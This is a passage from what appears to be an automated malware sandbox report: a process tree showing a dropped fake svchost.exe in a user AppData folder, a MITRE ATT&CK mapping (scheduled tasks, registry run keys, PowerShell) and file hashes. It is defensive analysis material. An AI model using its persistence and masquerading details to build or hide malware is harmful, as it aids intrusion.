  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
  2⤵
  PID:532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4200 /prefetch:1
  2⤵
  PID:3768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4236 /prefetch:1
  2⤵
  PID:3160
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5364 /prefetch:8
  2⤵
  PID:4088
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5364 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3664 /prefetch:1
  2⤵
  PID:2932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5272 /prefetch:1
  2⤵
  PID:2440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5284 /prefetch:1
  2⤵
  PID:2404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4692 /prefetch:8
  2⤵
  PID:1340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5248 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:1864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
  2⤵
  PID:4836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5928 /prefetch:1
  2⤵
  PID:1900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3716 /prefetch:1
  2⤵
  PID:1628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:1
  2⤵
  PID:5308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:5396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3748 /prefetch:1
  2⤵
  PID:5480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5788 /prefetch:1
  2⤵
  PID:5668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6740 /prefetch:8
  2⤵
  PID:6056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1840 /prefetch:1
  2⤵
  PID:5356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
  2⤵
  PID:3228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1832 /prefetch:2
  2⤵
  PID:4196

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3272

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4624

C:\Users\Admin\AppData\Local\svchost.exe
C:\Users\Admin\AppData\Local\svchost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2304

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x50c 0x324
1⤵
PID:5936

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3740

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
55d32bc1c206428fe659912b361362de

SHA1
7056271e5cf73b03bafc4e616a0bc5a4cffc810f

SHA256
37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff

SHA512
2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svchost.exe.log

Filesize
1KB

MD5
28854213fdaa59751b2b4cfe772289cc

SHA1
fa7058052780f4b856dc2d56b88163ed55deb6ab

SHA256
7c65fe71d47e0de69a15b95d1ee4b433c07a1d6f00f37dd32aee3666bb84a915

SHA512
1e2c928242bdef287b1e8afe8c37427cfd3b7a83c37d4e00e45bcbaa38c9b0bf96f869a062c9bc6bb58ecd36e687a69b21d5b07803e6615a9b632922c1c5ace4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
2dc1a9f2f3f8c3cfe51bb29b078166c5

SHA1
eaf3c3dad3c8dc6f18dc3e055b415da78b704402

SHA256
dcb76fa365c2d9ee213b224a91cdd806d30b1e8652d72a22f2371124fa4479fa

SHA512
682061d9cc86a6e5d99d022da776fb554350fc95efbf29cd84c1db4e2b7161b76cd1de48335bcc3a25633079fb0bd412e4f4795ed6291c65e9bc28d95330bb25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e4f80e7950cbd3bb11257d2000cb885e

SHA1
10ac643904d539042d8f7aa4a312b13ec2106035

SHA256
1184ee8d32d0edecddd93403fb888fad6b3e2a710d37335c3989cc529bc08124

SHA512
2b92c9807fdcd937e514d4e7e1cc7c2d3e3aa162099b7289ceac2feea72d1a4afbadf1c09b3075d470efadf9a9edd63e07ea7e7a98d22243e45b3d53473fa4f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
39b2134f45c174919ef11e915843a431

SHA1
b6a857160f81ad5bad82205ccede38c9efe52c39

SHA256
86067cef0932207c4624ee74e7d2f20900401cc6b32a8ca572dffffc3ef55fda

SHA512
1598c27b42b6e84cbcfc6731392b3f56ff9362cf9fc64ecc124a72dd727189bf6707e18acf4986c09960db0376b162db1c2d90d0b2a4aae8694903cda4d23f31

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
89f52f24e5ee74287a90a9cbf418d366

SHA1
c9f193d545a5aef5b467e2e9f7814522cd9fedff

SHA256
9630d950cc502ff6439e9c3305952cdd9ecbd39d7f59fbbb2cd3ddce103b1ce9

SHA512
8883ca5cc9f7b60b7902676a66af1ec8d0543ee19764c7319f997c0744d40304896e81726b7c796c571eaf4af1c40ecf1598d8b5a66d84a3bf8ce7a31dad4394

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
4KB

MD5
492a30bc23e17f5af1600a3fbff7270c

SHA1
79fd802d021ceb40561105b9ff48be67132ef823

SHA256
07350180a7b1804e0036e67892337ab41ece184c1e25636827cf232435709226

SHA512
a5d324ab647583dc6457e158facf24bae632408bed3998346a97d48aa31be040d2ab310ba5ab1fb791998cf2204844ecde2a8ae0c16a528bd24bc952614d535a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
4KB

MD5
532b6a43482c9b125776a5899b3ee8cb

SHA1
aaad12d6f02160f12696a62766ce1278e36bb41f

SHA256
51b4afb37d5ed021d21e34bccb35a7f7c0290940bf74dae04123b8d376159003

SHA512
d26f0144a0fb3695f9f17ff69aa0fb44ba4e8e98871fecee21a3b05e3c7c16760902afcd5cb5a1585479a7cf79257c50394146cce42e4917ed49ffab1b881793

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
9690f6b2db11948c77a5d9df073cc08a

SHA1
f803b90ffac13cf22251ee66dc65ca1d5021adc7

SHA256
1c6e140632e67652d6e833c97468bd0e0e43adeb710f912e71dc9b19a5ad963b

SHA512
548d4af09c0d2d7e1225cf6c2ace48c823d0bd5df68e2cfa856cb946588960a6448571bb93606d18f9fbf4a7dc66988263ec094b247706263616e563a5efd47f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
c22ffdff4e63b0bdd80145c4a59b1b09

SHA1
262437ef442b7fca0376a34cb6fd75a788b25392

SHA256
96b0bbd752b6fc38305d580bb606396cf43ab7b3e93065d6da36239d4394d4bc

SHA512
b32481aa360b045d5555ead446db9286c8f9c7df0e89cfc7458b6c4131ab1c0b928c4cda69a309b0759a3832ac1dc186981f07bc7d15f48e7768acc1e307dfd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
23c2165b496232391ff47928afb294eb

SHA1
01cc75aa7a3b6e2a55db16147cdc3834a0bf38f6

SHA256
885546b57d7e4f83a3a2bb8660e624de5b774f109d5f8156e0eda2226c9a2992

SHA512
5340a3fdfc20456afe9a56243f72d55d69960fe728f532365020bf6994b44f4375df19b083ba3a60fc103d3b1c42db842d4a608125856b059eb6a0bb2f15adb3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
de6f653a16e4d9a94ccd41e9ae092cbb

SHA1
ad3cf9e47fba45d42f2728074856575f308be0d0

SHA256
7ff740165840865346adcda87c5dff10ad742c57fa2edefa68b851a90b1d645d

SHA512
260fa393e1ed4b0f35f11c27663d48e51fadce8c03986e1626ff86249055dfb55377afadb9b1d96b0034bc418c750e60d6611d55761071ef3beb371fb63ace66

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\f1a4764f-a80d-4cfd-8b3e-9df935d63a30\index-dir\the-real-index

Filesize
2KB

MD5
f2bde7c54787952e23f9b6cae026ed71

SHA1
fa0671390e97047c19e88802be48ce1e5b29cc5f

SHA256
e9dbce16f341513816514f09523be9ccaeca756ccc4b2a546fd02858f8bc0174

SHA512
cb750d9ad2792318ab436556c663342d06de6800a4f3529655efd39d97aee86b996a926107ef058a842a12bddcff7f2ef90f87a1e4962f3a92d1602e80e5d9d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\f1a4764f-a80d-4cfd-8b3e-9df935d63a30\index-dir\the-real-index~RFe5a711a.TMP

Filesize
48B

MD5
6e974010ecc344576e112724ff81d50e

SHA1
2acbc3b863ab41313891b05500174f2a2d1aa2f6

SHA256
f8d0b3913d4a23ddb8c68c68bb218511e8d8157cac46f9ca4c430f3ffc7e6286

SHA512
6a95ff13fc63de59758a9b2c06c2d3582f9cade4f92016eb76469cf978c044ca29c2e494abb8b5828f42d8ee84c2417bdee627578fdbbadce94fc80567c349c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
89B

MD5
dd807846c6e3edb92dcbc62750d6fcb5

SHA1
465807a1c370c7888c6d25405b70c48070349657

SHA256
6b6de339500dffba0293edc7be067465d047dfcc817ba5dc9955748791a31e19

SHA512
cb5f7f0443252d075687b806fed2dcdbd96ad8ce3c2c9d9deb0edffcca16a8f8521b215385090d35abf8ec3dc0fae1c3560c3cec15b9dc673d1e566d8df02e25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
146B

MD5
cb35250de1d4e51d7ba9eaabd998dc74

SHA1
f9a8891001832ec0e513195ba725b9b5fdd81ba7

SHA256
cfd8f408a9191acbec8204771efd4f0423ababa8ddbdfce6bbeed5b15c43e267

SHA512
e4777c5e0fad69bcc11e3da133fa7aa76f12400fe596bed93fc7da5817ef6ec66d275e895681a36777cf2919ab9ae3336932cd11834f09586e2ffcaa72547dac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
82B

MD5
50126ac155f75aa6e299680cc94ab31e

SHA1
848ee1cfcfd3edd838ac0a8680fe60d9eaaa335d

SHA256
53bbfabc2900aadc19f6df73989214c147e251cc0d512ae283a68deca2eaf8d3

SHA512
23fe4e39a1e0ba25ca24f519535bd9784dcec82d3e87a4398014c9e2eb521f76df061b03b326e37684d6cb349ee22570a82b8eb299dcdff11a45bfad63135237

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
84B

MD5
ce1623502b5bbd1163e54f276fe1cb55

SHA1
6b5f8f73f4f5fb0b97562f1032b76b3c112bf618

SHA256
d33c446e6a0cdbf897ea70a4eb99b804e2c60fe344ba390186902de8eaac2953

SHA512
88a917fce985778604e24ed2ac41e2a1c1db5cecfbec2451b2af3ef2fabda5e761e50b4693031e55badc554227de47e7b22c6bbf25acd7082eee2234025effb0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
1cdcaa7ed4e2bd9b55c46b0d010d10aa

SHA1
19aa9769d859fa880322912cd3212ecc611b2e61

SHA256
3700cf1ee61d6b3326e637c88fb1e608537325f9b50846ff7137d3db893b3970

SHA512
5e80f3e3dc2f0121be20db9c04e5247e2beb3c6023ddbb0fc697daa39467745dc2db1bc81d02dc010f8ba6e83a47b93da726ddf1d385e18a8ffd1095f208d3bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59f3fb.TMP

Filesize
48B

MD5
24a8fe206693524d0bb926dd6d09720a

SHA1
ac8d03be55bef28cf77ce4a4cf204b6b2a2c9d00

SHA256
ca49e6651ee56fe7674086da54bfdee7c2b16f2d3c4b168ad65ab2914c575b7f

SHA512
06a5c89e463eec387d489fa32d2e5b5c7dc2c9b3db3aef294ce002ddad50b069077614e776e5e4b243001a28ef6346889f996e098e8d8a15cbc91189def0715b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
6826413831e9283d70b144e4673688d4

SHA1
801ac63be1ab029c2d510cbf72bbeef9a4c48a82

SHA256
0a6bac9dcff5e937559174ea2936807bca3b07d4a7d72e13d59cbd9969573179

SHA512
d76631f4d205a1ea7d3031919a7d48916c679f3cdafe2a171db6f008a75739f14a6ed7a9dfdd3f116b2ca7f75b0f5a0e0fd8faba7c9fab40aa92406ad2a0e3f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
cd3de80180768ea570697ba147323b44

SHA1
bd3a5f4235947526f2a5a44a3408f01ed3f2b258

SHA256
ca20f5aaa9ecd1db318f09f9e6b9b00b9b09b8e0d6bfdd5e5fb8dd178bafda3c

SHA512
5d6c4edd2c9c0ee91445034d8f4116f832671c115eb5ee29499aff5bb7e844fbe32e788677045c33600028a143c3525d700f93602c62544637f1339d42d9f63b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
4456c1d7a30be187be914560ea6748fc

SHA1
4ee50dca424621f4ab5997daf3e29938a0790004

SHA256
859d5feb3dea013e8e4b992040c6a34f509cf03486e13dcd33a1c254ca012e85

SHA512
116284669550d8a55883e5a2f953f241976b5dbe9d362135d5f0f34edbe2cc12496617e6591f402dee751f9786a16371f9880df15c37f885aa946bfebbc4641d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
4a8bbdf1a277b70ac4d6850da96d99c6

SHA1
215f0eb760a264665ae2b334cfe0e5e9e4aae2b3

SHA256
56e602d78c03a2e37308f94cd0928b901f669d59b97afb2a2a111dabf8d866f9

SHA512
d661bedd36063e8ab66d085f722ee4ce5cdefe627d997d3cd7ee628d7761c8d0bb6677e67a38b7d67401f6d83c6c074bcbe6928cc56a344fecfed93b81c985f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
4986a1e088351c3a651f612177abcd8b

SHA1
fd03f5dc6c5cd80e769a5c5c4d05d9282f71778e

SHA256
73c533da3de5f92bba2bd9fce72ae4cd7dc6fd5967e15de6236e46e1573e4ee9

SHA512
ff7bbe0d4e6113f8d49b2e9c2689657cb3f82d291a823a4f3d3d6add11fdd8ebd5216d7c19c4a96472b95dea1cf3b0c3f5ecfa731750323c807ba1192bb32d4c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
0ba878063f1953a2e9ffbcf96453459c

SHA1
f6c6ecea7ad150e5c1af55b3f1147e1dc7531ce9

SHA256
08e72a15c81d8ce99db624fa2cff92f35f2379b2442540863ae8e0b42ef9195c

SHA512
205d40af102e7024d66661b3bfbe134adcbbcad2ae7ff3941a85b8f572a5583df0d13894ca92ab53f842bb787ad1bfcf4f35f2c8fd47bfaf29bc59ca8d6b62fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
4a07d2946d022e32e0a75bd3130ea33e

SHA1
459723a2adbe02d58a93473105e475c13bc2ff5d

SHA256
6928fd90f1bb8063a1ed8cb575007262a3d3cfe8903f4e68e96e87ba9a1982fd

SHA512
42fd09242a481137ab471ac03579e9e407bf79b44f24e0d7d675712032155cf2cf4405cfc826de949d0d2cf85a375dc5fb20a740e7ee1eb79a135ced1054576d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe59ccdb.TMP

Filesize
1KB

MD5
8b456c115f1a1c2ecec0453a324cf0a1

SHA1
cb443eca80521f3f09e5e1fa9c1b59d71339acc4

SHA256
218f0e2620c6abba8ecae1a509a6af32374a435eadcdb260996a77f811aa029f

SHA512
02d1aac4f79bc462e9da966e8c71323a1dfeec20e059ca4886bc70e4714c555aaa28859839841dff7ed3c3aa71b47c69d1baa906b892c8d8712ab2a2eb0ce5d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
f2dd4c22bdef128cbd2a60f955f0d09f

SHA1
da5ea1d8bcd6850130a0ce417a6e63bc97f2055b

SHA256
5eb0f2a9a73587a5adbfaaafe8f5dff6f04975fbb9d359b730038bde3b053dda

SHA512
e411309b9a92afbedfc851693a6c32f428d39f16555536e8baeeab9c7451d28d2bb4ad0d9bf0f40db033c5fc3390d1c4142b2cd0fc61030fc2f0fc2e3db8dc54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
ec4db56e3bb942ebb046f31d6c862340

SHA1
78a2a6fe78334a5a9f96f47fa3f93fa0b84def3d

SHA256
e4b9f6b49f406110c523088bb7c34d68c5f9528303e7991303d35d9cd18999aa

SHA512
38dac194ce777fc89360181dd7ed1ce3d23c7d68cefcb34f97aa8e37dda16d3ae7ba62419ba54836b2405121a5ed8136893f227117546fdb7c03c8fea4d76042

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
13KB

MD5
82e064a93fb56174a0297bff718d030a

SHA1
ad7c3861a79f10a42e40de57d4c3e9b0bbb237c3

SHA256
cdf5ec4ae27a29488be4f206902c7e24f9cde7b81d3a416b209b28abdc09a7ca

SHA512
b88b2def5721d408f3ee47cc4930876879779da85068632cf84081f47a2205d0d1b90235870683b692cd01636003351ed6c5adb619dc8a93e1e80e77bb7659d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
d517a3abd23c4aa33cfe2781a609e03d

SHA1
31381ed311c0d4a8a8546346210c14f5033a5c63

SHA256
b2f6b7b0c62c08d813d77af00fd4292e8973ffa611478324941a5bbaed1ed022

SHA512
